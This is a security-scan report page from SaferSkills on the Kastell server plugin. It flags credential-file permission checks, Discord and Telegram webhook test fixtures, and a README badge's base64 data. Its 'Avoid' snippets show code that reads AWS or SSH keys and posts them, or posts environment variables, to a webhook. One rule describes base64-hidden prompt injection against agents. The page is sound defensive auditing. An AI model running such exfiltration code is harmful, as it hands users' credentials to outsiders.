Kastell— plugin

Kastell — independently scanned and version-tracked by SaferSkills.

by kastelldev·Plugin·github.com/kastelldev/kastell

Is Kastell safe to install?

SaferSkills independently audited Kastell (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 107 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
●●○○○○○○○○
↑ +0 since first scan (15 → 15)Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 30d ago
Scans run1 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 107 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 107 flagged

Securityscore 0 · 107 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/core/audit/checks/secrets.ts×4
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (expectedValue: "~/.aws/credentials has mode 600 …). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptsrc/core/audit/checks/secrets.ts· typescript
189};
190},
191expectedValue: "~/.aws/credentials has mode 600 and is not world-readable",
192fixCommand:
193"find /home /root -maxdepth 3 -path '*/.aws/credentials' -exec chmod 600 {} \\;",
Occurrences
4 occurrences · first at L191, also L193, L196 +1 more
Show all 4 locations
Line
File
L191
src/core/audit/checks/secrets.ts
L193
src/core/audit/checks/secrets.ts
L196
src/core/audit/checks/secrets.ts
L341
src/core/audit/checks/secrets.ts
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha2562ae82cc9d546cbfdrubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/unit/audit-checks-secrets.test.ts×4
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_CREDS_FOUND\n/home/alice/.aws/credentials",). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/unit/audit-checks-secrets.test.ts· typescript
33"WORLD_READABLE_KEY\n/home/alice/.ssh/id_rsa",
34"PLAINTEXT_ETC_CRED\n/etc/mysql/my.cnf",
35"AWS_CREDS_FOUND\n/home/alice/.aws/credentials",
36"DOCKER_ENV_FOUND\n/home/alice/docker.env",
37"NPMRC_TOKEN_FOUND\n/home/alice/.npmrc",
Occurrences
4 occurrences · first at L35, also L200, L307 +1 more
Show all 4 locations
Line
File
L35
tests/unit/audit-checks-secrets.test.ts
L200
tests/unit/audit-checks-secrets.test.ts
L307
tests/unit/audit-checks-secrets.test.ts
L453
tests/unit/audit-checks-secrets.test.ts
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha25602b5f84eeada8b8crubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/core/audit/checks/secrets.ts×2
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (// Look for stat output like "664 /home/user/.ss…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptsrc/core/audit/checks/secrets.ts· typescript
49severity: "critical",
50check: (output) => {
51// Look for stat output like "664 /home/user/.ssh/id_rsa" or "644 /home/user/.ssh/id_ed25519
… (1 chars elided on L51)
52// Permissions > 600 are overly permissive for private keys
53const lines = output.split("\n");
Occurrences
2 occurrences · first at L51, also L51
Show all 2 locations
Line
File
L51
src/core/audit/checks/secrets.ts
L51
src/core/audit/checks/secrets.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fffrubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/core/audit/commands.ts×3
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (`stat -c '%a %n' /root/.ssh/id_rsa /root/.ssh/id…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptsrc/core/audit/commands.ts· typescript
481`ENVWR=$(find /root /home /etc -maxdepth 3 \\( -name ".env" -o -name "*.env" \\) -perm -o+r
… (104 chars elided on L481)
482// SSH private key permissions
483`stat -c '%a %n' /root/.ssh/id_rsa /root/.ssh/id_ed25519 /root/.ssh/id_ecdsa 2>/dev/null ||
… (16 chars elided on L483)
484// Git config tokens
485`git config --global --get-regexp 'url.*token' 2>/dev/null | head -5 || echo 'NO_GIT_TOKENS'
… (2 chars elided on L485)
Occurrences
3 occurrences · first at L483, also L483, L483
Show all 3 locations
Line
File
L483
src/core/audit/commands.ts
L483
src/core/audit/commands.ts
L483
src/core/audit/commands.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fffrubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/core/deploy.ts
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (logger.success("SSH key generated (~/.ssh/id_ed2…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptsrc/core/deploy.ts· typescript
41publicKey = generateSshKey();
42if (publicKey) {
43logger.success("SSH key generated (~/.ssh/id_ed25519)");
44} else {
45logger.warning("Could not generate SSH key — falling back to password auth");
Occurrences
1 occurrence · at L43
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2561c856a0591383f9arubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/core/provision.ts
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (process.stderr.write("[provision] SSH key genera…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptsrc/core/provision.ts· typescript
294return [];
295}
296process.stderr.write("[provision] SSH key generated (~/.ssh/id_ed25519)\n");
297}
298 
Occurrences
1 occurrence · at L296
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2561c856a0591383f9arubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/unit/audit-checks-secrets.test.ts×6
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ("600 /home/alice/.ssh/id_rsa",). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/unit/audit-checks-secrets.test.ts· typescript
6"NO_WORLD_READABLE_ENV",
7"NONE",
8"600 /home/alice/.ssh/id_rsa",
9"NONE",
10"NONE",
Occurrences
6 occurrences · first at L8, also L29, L29 +3 more
Show all 6 locations
Line
File
L8
tests/unit/audit-checks-secrets.test.ts
L29
tests/unit/audit-checks-secrets.test.ts
L29
tests/unit/audit-checks-secrets.test.ts
L33
tests/unit/audit-checks-secrets.test.ts
L250
tests/unit/audit-checks-secrets.test.ts
L442
tests/unit/audit-checks-secrets.test.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fffrubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/unit/audit-commands.test.ts×9
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (expect(slow.command).toContain("stat -c '%a %n' …). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/unit/audit-commands.test.ts· typescript
1369 
1370it("[MUTATION-KILLER] SSH private key permissions stat", () => {
1371expect(slow.command).toContain("stat -c '%a %n' /root/.ssh/id_rsa /root/.ssh/id_ed25519 /roo
… (48 chars elided on L1371)
1372});
1373 
Occurrences
9 occurrences · first at L1371, also L1371, L1371 +6 more
Show all 9 locations
Line
File
L1371
tests/unit/audit-commands.test.ts
L1371
tests/unit/audit-commands.test.ts
L1371
tests/unit/audit-commands.test.ts
L3001
tests/unit/audit-commands.test.ts
L3002
tests/unit/audit-commands.test.ts
L3005
tests/unit/audit-commands.test.ts
L3006
tests/unit/audit-commands.test.ts
L3009
tests/unit/audit-commands.test.ts
L3010
tests/unit/audit-commands.test.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fffrubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/unit/deploy.test.ts×2
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (it("logs success with ~/.ssh/id_ed25519 on key g…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/unit/deploy.test.ts· typescript
180});
181 
182it("logs success with ~/.ssh/id_ed25519 on key generation", async () => {
183mockedSshKey.findLocalSshKey.mockReturnValue(null);
184mockedSshKey.generateSshKey.mockReturnValue("ssh-ed25519 GENERATED...");
Occurrences
2 occurrences · first at L182, also L187
Show all 2 locations
Line
File
L182
tests/unit/deploy.test.ts
L187
tests/unit/deploy.test.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2561c856a0591383f9arubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · src/core/notify.ts
HIGHa hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (return sendHttp(`https://api.telegram.org/bot${b…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptsrc/core/notify.ts· typescript
80return { success: false, error: "Invalid Telegram bot token format" };
81}
82return sendHttp(`https://api.telegram.org/bot${botToken}/sendMessage`, { chat_id: chatId, te
… (6 chars elided on L82)
83}
84 
Occurrences
1 occurrence · at L82
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha25670ad73df6f5a3779rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/e2e/notify.test.ts×13
HIGHa hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (mockedInquirer.prompt.mockResolvedValueOnce({ we…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/e2e/notify.test.ts· typescript
50 
51it("should dispatch to correct channel type (discord)", async () => {
52mockedInquirer.prompt.mockResolvedValueOnce({ webhookUrl: "https://discord.com/api/webhooks/
… (18 chars elided on L52)
53 
54await addChannel("discord", {});
Occurrences
13 occurrences · first at L52, also L57, L88 +10 more
Show all 13 locations
Line
File
L52
tests/e2e/notify.test.ts
L57
tests/e2e/notify.test.ts
L88
tests/e2e/notify.test.ts
L92
tests/e2e/notify.test.ts
L134
tests/e2e/notify.test.ts
L142
tests/e2e/notify.test.ts
L149
tests/e2e/notify.test.ts
L162
tests/e2e/notify.test.ts
L169
tests/e2e/notify.test.ts
L196
tests/e2e/notify.test.ts
L210
tests/e2e/notify.test.ts
L278
tests/e2e/notify.test.ts
L285
tests/e2e/notify.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha25694456c808ff86a6crubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notify-command.test.ts×9
HIGHa hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (webhookUrl: "https://discord.com/api/webhooks/12…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/unit/notify-command.test.ts· typescript
83await addChannel("discord", {
84force: true,
85webhookUrl: "https://discord.com/api/webhooks/123/abc",
86});
87 
Occurrences
9 occurrences · first at L85, also L89, L96 +6 more
Show all 9 locations
Line
File
L85
tests/unit/notify-command.test.ts
L89
tests/unit/notify-command.test.ts
L96
tests/unit/notify-command.test.ts
L100
tests/unit/notify-command.test.ts
L151
tests/unit/notify-command.test.ts
L182
tests/unit/notify-command.test.ts
L189
tests/unit/notify-command.test.ts
L197
tests/unit/notify-command.test.ts
L204
tests/unit/notify-command.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha2564938f59a28cc9164rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notify-keychain.test.ts×6
HIGHa hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (discord: { webhookUrl: "https://discord.com/api/…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/unit/notify-keychain.test.ts· typescript
84it("returns discord config from keychain-backed store", () => {
85const expected: NotifyConfig = {
86discord: { webhookUrl: "https://discord.com/api/webhooks/1/tok" },
87};
88mockedLoadNotifyChannels.mockReturnValue(expected);
Occurrences
6 occurrences · first at L86, also L92, L115 +3 more
Show all 6 locations
Line
File
L86
tests/unit/notify-keychain.test.ts
L92
tests/unit/notify-keychain.test.ts
L115
tests/unit/notify-keychain.test.ts
L119
tests/unit/notify-keychain.test.ts
L126
tests/unit/notify-keychain.test.ts
L130
tests/unit/notify-keychain.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha25695229d5f459811d7rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notify-ssrf.test.ts×2
HIGHa hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (await sendDiscord("https://discord.com/api/webho…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/unit/notify-ssrf.test.ts· typescript
90mockedAxiosPost.mockResolvedValue({ status: 204 });
91 
92await sendDiscord("https://discord.com/api/webhooks/1/token", "message");
93 
94expect(mockedAxiosPost).toHaveBeenCalledWith(
Occurrences
2 occurrences · first at L92, also L95
Show all 2 locations
Line
File
L92
tests/unit/notify-ssrf.test.ts
L95
tests/unit/notify-ssrf.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256363203b61b35f1e3rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notify.test.ts×31
HIGHa hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (const config = { discord: { webhookUrl: "https:/…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/unit/notify.test.ts· typescript
91 
92it("returns discord config from notifyStore (NOTF-02)", () => {
93const config = { discord: { webhookUrl: "https://discord.com/api/webhooks/123/abc" } };
94mockedLoadNotifyChannels.mockReturnValue(config);
95 
Occurrences
31 occurrences · first at L93, also L98, L102 +28 more
Show all 31 locations
Line
File
L93
tests/unit/notify.test.ts
L98
tests/unit/notify.test.ts
L102
tests/unit/notify.test.ts
L107
tests/unit/notify.test.ts
L120
tests/unit/notify.test.ts
L162
tests/unit/notify.test.ts
L165
tests/unit/notify.test.ts
L179
tests/unit/notify.test.ts
L187
tests/unit/notify.test.ts
L196
tests/unit/notify.test.ts
L199
tests/unit/notify.test.ts
L213
tests/unit/notify.test.ts
L221
tests/unit/notify.test.ts
L236
tests/unit/notify.test.ts
L237
tests/unit/notify.test.ts
L253
tests/unit/notify.test.ts
L452
tests/unit/notify.test.ts
L453
tests/unit/notify.test.ts
L549
tests/unit/notify.test.ts
L554
tests/unit/notify.test.ts
L561
tests/unit/notify.test.ts
L566
tests/unit/notify.test.ts
L610
tests/unit/notify.test.ts
L619
tests/unit/notify.test.ts
L625
tests/unit/notify.test.ts
L634
tests/unit/notify.test.ts
L674
tests/unit/notify.test.ts
L702
tests/unit/notify.test.ts
L712
tests/unit/notify.test.ts
L723
tests/unit/notify.test.ts
L733
tests/unit/notify.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256458155d5e9c25d93rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notifyStore.test.ts×11
HIGHa hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (const result = storeNotifySecret("discord", "web…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpttests/unit/notifyStore.test.ts· typescript
81 
82it("stores discord webhookUrl in keychain and returns true (SEC-01)", () => {
83const result = storeNotifySecret("discord", "webhookUrl", "https://discord.com/api/webhooks/
… (8 chars elided on L83)
84 
85expect(result).toBe(true);
Occurrences
11 occurrences · first at L83, also L107, L111 +8 more
Show all 11 locations
Line
File
L83
tests/unit/notifyStore.test.ts
L107
tests/unit/notifyStore.test.ts
L111
tests/unit/notifyStore.test.ts
L231
tests/unit/notifyStore.test.ts
L234
tests/unit/notifyStore.test.ts
L306
tests/unit/notifyStore.test.ts
L310
tests/unit/notifyStore.test.ts
L656
tests/unit/notifyStore.test.ts
L662
tests/unit/notifyStore.test.ts
L679
tests/unit/notifyStore.test.ts
L687
tests/unit/notifyStore.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256ebe0ee307a6af0edrubric 365aacaView on GitHub
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · README.md
HIGHonce decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptREADME.md· markdown
17[![Snyk](https://snyk.io/test/github/kastelldev/kastell/badge.svg)](https://snyk.io/test/git
… (23 chars elided on L17)
18[![Website](https://img.shields.io/badge/website-kastell.dev-blue?style=flat-square)](https:
… (14 chars elided on L18)
19[![DeepWiki](https://img.shields.io/badge/DeepWiki-kastelldev%2Fkastell-blue.svg?logo=data:i
… (108 chars elided on L19)
20![Zero Telemetry](https://img.shields.io/badge/telemetry-zero-brightgreen)
21 
Occurrences
1 occurrence · at L19
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha2565dac05e7b2762412rubric 365aacaView on GitHub
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · README.tr.md
HIGHonce decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerptREADME.tr.md· markdown
17[![Snyk](https://snyk.io/test/github/kastelldev/kastell/badge.svg)](https://snyk.io/test/git
… (23 chars elided on L17)
18[![Website](https://img.shields.io/badge/website-kastell.dev-blue?style=flat-square)](https:
… (14 chars elided on L18)
19[![DeepWiki](https://img.shields.io/badge/DeepWiki-kastelldev%2Fkastell-blue.svg?logo=data:i
… (108 chars elided on L19)
20![Zero Telemetry](https://img.shields.io/badge/telemetry-zero-brightgreen)
21 
Occurrences
1 occurrence · at L19
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha2565dac05e7b2762412rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.